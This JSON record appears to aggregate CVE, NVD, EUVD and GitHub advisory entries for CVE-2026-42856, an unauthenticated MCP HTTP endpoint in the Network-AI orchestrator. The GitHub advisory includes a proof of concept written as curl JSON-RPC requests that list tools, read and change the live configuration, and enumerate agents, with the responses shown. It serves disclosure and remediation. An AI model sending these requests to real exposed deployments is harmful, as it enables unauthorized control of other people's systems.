{"id":"CVE-2026-42856","revision":null,"records":[{"revision":"68d4f3d73d0c43e789ca79ca57f59b36","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42856","aliases":[],"title":"Network-AI: Missing authentication on MCP HTTP endpoint allows unauthenticated privileged tool calls","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.","state":0,"publishedAt":"2026-05-11T17:42:35.26+00:00","modifiedAt":"2026-05-11T18:33:59.839+00:00","affected":[{"ecosystem":"Vendor product","name":"Network-AI","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Jovancoding\",\n                    \"product\": \"Network-AI\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42856","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42856","identifiers":["CVE-2026-42856"]},"retained":false,"historicalAffected":[]},{"revision":"6b15fc3ee8fe4e0daac11ab037a6c76f","observedAt":"2026-11-07T09:36:00.391+00:00","statement":{"source":"euvd","id":"EUVD-2026-29164","aliases":["CVE-2026-42856","GHSA-fj4g-2p96-q6m3"],"title":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrat…","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-29164","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 11, 2026, 5:42:35 PM","dateUpdated":"May 11, 2026, 6:33:59 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-29164","identifiers":["EUVD-2026-29164","CVE-2026-42856","GHSA-fj4g-2p96-q6m3"]},"retained":false,"historicalAffected":[]},{"revision":"982a97d5c73049959afd6036b7bac7b7","observedAt":"2026-10-27T11:12:04.713+00:00","statement":{"source":"nvd","id":"CVE-2026-42856","aliases":[],"title":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrat…","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to 5.1.3, the MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools. This vulnerability is fixed in 5.1.3.","state":0,"publishedAt":"2026-05-11T18:16:35.99+00:00","modifiedAt":"2026-10-26T18:10:00.173+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42856","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-05-11T18:16:35.990","lastModified":"2026-10-26T18:10:00.173"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42856","identifiers":["CVE-2026-42856"]},"retained":false,"historicalAffected":[]},{"revision":"1aae9aec39ad481dba4f4b9b76624626","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-fj4g-2p96-q6m3","aliases":["CVE-2026-42856"],"title":"Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls","description":"# Security Advisory: Missing Authentication for Critical Function in `Jovancoding/Network-AI`\n\n| Field | Value |\n|---|---|\n| Project | `Jovancoding/Network-AI` |\n| Repository | https://github.com/Jovancoding/Network-AI |\n| Affected commit | `c344f2053eb0d49395988f803bf92f2a86b2a0d0` |\n| Affected tested version | `5.1.2` |\n| Vulnerability type | CWE-306: Missing Authentication for Critical Function |\n| Severity | High |\n| Authentication required | None |\n| Default network exposure | Bind address `0.0.0.0` |\n| Reporter validation date | 2026-04-21 |\n\n## Summary\n\nThe MCP HTTP transport accepts JSON-RPC `tools/call` requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is `0.0.0.0`. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.\n\n## Affected Code\n\n- `bin/mcp-server.ts:75` — server binds to `0.0.0.0` by default.\n- `lib/mcp-transport-sse.ts:155` — `handleRPC()` dispatches `tools/call` directly to the provider's `call(toolName, toolArgs)`.\n- `lib/mcp-transport-sse.ts:379` — `_handlePost()` parses the JSON-RPC body and calls `this._bridge.handleRPC(rpc)` with no auth check.\n- `lib/mcp-tools-control.ts:80` — `config_get` exposes live runtime configuration.\n- `lib/mcp-tools-control.ts:197` — `agent_list` exposes registered agents.\n- `lib/mcp-tools-control.ts:231` — `config_set` mutates runtime configuration in place: `this._config[key] = parsed`.\n\n## Proof of Concept\n\nThe PoC was executed against a local Docker build of the affected commit, bound to `http://localhost:13001`. **No authentication header was sent.** All inner-JSON excerpts below are decoded from the JSON-RPC `result.content[0].text` field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in `evidence/`.\n\n### Step 1 — list exposed tools (unauthenticated)\n\n```bash\ncurl http://localhost:13001/tools\n```\n\n`HTTP/1.1 200 OK` — body returned 22 tools. Privileged tools observed in the inventory include:\n\n- `config_get`, `config_set` — read and mutate live orchestrator configuration\n- `agent_list`, `agent_spawn`, `agent_stop` — enumerate, dispatch, and stop agents\n- `token_create`, `token_revoke` — mint and revoke security tokens\n- `budget_set_ceiling` — adjust the global token budget ceiling\n- `fsm_transition` — drive finite-state-machine transitions\n- `blackboard_write`, `blackboard_delete` — mutate the shared blackboard\n\nFull transcript: `evidence/01_get_tools.txt`.\n\n### Step 2 — read live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"blackboardPath\": \"./swarm-blackboard.md\",\n    \"maxParallelAgents\": null,\n    \"defaultTimeout\": 30000,\n    \"enableTracing\": true,\n    \"grantTokenTTL\": 300000,\n    \"maxBlackboardValueSize\": 1048576,\n    \"auditLogPath\": \"./data/audit_log.jsonl\",\n    \"trustConfigPath\": \"./data/trust_levels.json\"\n  }\n}\n```\n\nFull transcript: `evidence/02_config_get_before.txt`.\n\n### Step 3 — mutate live configuration (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"config_set\",\"arguments\":{\"key\":\"defaultTimeout\",\"value\":\"12345\"}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_set\",\n  \"data\": {\n    \"key\": \"defaultTimeout\",\n    \"previous\": 30000,\n    \"current\": 12345,\n    \"applied\": true\n  }\n}\n```\n\nFull transcript: `evidence/03_config_set.txt`.\n\n### Step 4 — confirm mutation persisted (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\"params\":{\"name\":\"config_get\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON (relevant key only):\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"config_get\",\n  \"data\": {\n    \"defaultTimeout\": 12345\n  }\n}\n```\n\nThis proves the runtime change applied by step 3 is observable on the next read. Full transcript: `evidence/04_config_get_after.txt`.\n\n### Step 5 — enumerate registered agents (unauthenticated)\n\n```bash\ncurl http://localhost:13001/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":4,\"method\":\"tools/call\",\"params\":{\"name\":\"agent_list\",\"arguments\":{}}}'\n```\n\n`HTTP/1.1 200 OK` — decoded inner JSON:\n\n```json\n{\n  \"ok\": true,\n  \"tool\": \"agent_list\",\n  \"data\": {\n    \"agents\": [],\n    \"count\": 0\n  }\n}\n```\n\nThis is a privileged management read; the empty array reflects the test environment, not a control. Full transcript: `evidence/05_agent_list.txt`.\n\n### Cleanup — runtime state restored\n\nAfter the PoC, `defaultTimeout` was restored to `30000` via the same unauthenticated `config_set` (`previous\":12345,\"current\":30000,\"applied\":true`). All testing was performed against a local Docker container only.\n\n## Impact\n\n- Unauthenticated network access enables full enumeration and invocation of the orchestrator's management functionality.\n- An attacker can change runtime configuration (e.g., `defaultTimeout`, `enableTracing`), dispatch or stop agents, mutate the shared blackboard, mint or revoke security tokens, and adjust global budget ceilings.\n- The default `0.0.0.0` bind, combined with the absence of any auth gate, increases the likelihood of accidental exposure on any host with a routable interface.\n\n## Suggested Remediation\n\n1. Enforce authentication inside `_handlePost()` before reaching `handleRPC()`. At a minimum, require a shared secret / bearer token loaded from configuration; reject any request that does not present it.\n2. Default the bind address to `127.0.0.1`. Require an explicit configuration opt-in to bind to non-loopback interfaces, and warn on startup when binding outside loopback without an authentication mechanism configured.\n3. For tool-level defense in depth, gate state-mutating tools (`config_set`, `agent_spawn`, `agent_stop`, `token_create`, `token_revoke`, `budget_set_ceiling`, `fsm_transition`, `blackboard_write`, `blackboard_delete`) behind an explicit authorization check tied to a verified caller identity.\n\n## Verification Environment\n\n- Local Docker container only; no third-party deployment was tested.\n- Local build required a minimal Dockerfile fix; the application code path under test was not modified.\n- Runtime state (`defaultTimeout`) was restored to default after the PoC.\n\n## Attached Evidence\n\nFiles in `evidence/` are raw `curl -i` transcripts captured during the verification sequence above. They are provided as supplementary backup; the key excerpts are already inlined in this report.\n\n| File | Purpose |\n|---|---|\n|[01_get_tools.txt](https://github.com/user-attachments/files/26950583/01_get_tools.txt) | Step 1 — full `GET /tools` request and 22-tool inventory response |\n|[02_config_get_before.txt](https://github.com/user-attachments/files/26950584/02_config_get_before.txt) | Step 2 — full `config_get` request and live configuration response |\n|[03_config_set.txt](https://github.com/user-attachments/files/26950585/03_config_set.txt) | Step 3 — full `config_set` request mutating `defaultTimeout` |\n|[04_config_get_after.txt](https://github.com/user-attachments/files/26950586/04_config_get_after.txt)| Step 4 — full `config_get` request showing the mutation persisted |\n| [05_agent_list.txt](https://github.com/user-attachments/files/26950587/05_agent_list.txt) | Step 5 — full `agent_list` request and response |","state":0,"publishedAt":"2026-05-05T17:25:37+00:00","modifiedAt":"2026-05-13T14:34:44.953089+00:00","affected":[{"ecosystem":"npm","name":"network-ai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-fj4g-2p96-q6m3","https://nvd.nist.gov/vuln/detail/CVE-2026-42856","https://github.com/Jovancoding/Network-AI"],"sourceUrl":"https://github.com/advisories/GHSA-fj4g-2p96-q6m3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fj4g-2p96-q6m3","identifiers":["GHSA-fj4g-2p96-q6m3","CVE-2026-42856"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}